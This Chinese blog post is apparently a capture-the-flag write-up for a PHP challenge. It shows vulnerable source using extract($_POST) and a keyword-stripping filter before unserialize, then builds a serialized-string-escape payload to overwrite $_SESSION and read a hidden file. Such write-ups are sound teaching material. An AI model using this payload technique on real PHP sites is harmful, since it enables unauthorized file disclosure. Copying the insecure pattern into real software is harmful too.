我是大菜鸡!
今天自己做的一道题,纪念一下。
(转自我的博客:[安洵杯 2019]easy_serialize_php - v2ish1yan - 博客园)
知识点:
1.用的刚好是我前面文章里面写的反序列化字符串逃逸。
2.extract()变量覆盖
首先看题代码。
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
从代码里面看可能的切入点。
<?php
$function = @$_GET['f'];//懂的都懂
function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);//把$_SESSION重置为空
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//这里就用了变量覆盖的知识
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){//ta没骗人,确实能找到一些东西
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));//这里只进行了一次base64解码。
}
首先我们要知道$_SESSION是什么:https://blog.csdn.net/masterft/article/details/1640122
单从做这个题来说,$_SESSION是访客与整个网站交互过程中一直存在的公有变量。
然后看extract()函数的功能:
extract($_POST)就是将post的内容作为这个函数的参数。
然后就是变量覆盖。如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
至于为什么post要传_SESSION[flag]=123而不是$_SESSION[flag]=123,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。
本地测试:
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] ='123';
echo '覆盖前:';
var_dump($_SESSION);
echo "<br>";
extract($_POST);
echo '覆盖后:';
var_dump($_SESSION);
一步步来:先?f=phpinfo看看能找到什么东西。
找到了一个php文件,意思是页面底部加载文件,即require()。
所以就有可能要通过最后一个语句来打开查看这个文件。
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
而那个文件名以base64编码后的字符串存在userinfo['img']里面,而$userinfo = unserialize($serialize_info)
又$serialize_info= filter(serialize($_SESSION))。
而且在提取文件时,只对文件进行了一次base64解码,所以对应代码里的
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
只能让img_path为空,并把guest_img.png逃逸出去。
先本地测试,看看序列化后的字符串是什么样的:
然后再进行变量覆盖
因为我们要让img的内容为d0g3_f1ag.phpbase64编码后的字符串,所以要传_SESSION[img]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
但我们得到的是
因为在变量覆盖后面,又重新给$_SESSION[img]赋值了,所以这个时候就要使用filter函数了,
如果我们传的是_SESSION[imgphp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
那么得到的是
这里就可以看出来一点字符串逃逸的感觉了。
我最开始的想法是让s:6读取黄字部分
a:2:{s:6:"img";s:39:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这样不就可以让后面的s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="生效了吗?
我们试试构造一下
a:2:{s:10:"img";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}这样看刚刚好,但是真的能成功吗?
我们进行反序列化看看。
<?php
$a=unserialize('a:2:{s:10:"img";s:40:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}');
print_r($a);
得到的结果
不行!
后来发现,看前面的a:2那里,如果我们这样构造的话,序列化内容就不满足a:2了。(即有两个元素)
这个好解决,加一个不就行了吗,前面加上s:3:"123"来构造。
_SESSION[imgphpflag]=;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
得到:
a:2:{s:10:"img";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
再反序列化看看
成了!
payload:(post传参)
;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
后面的就简单了。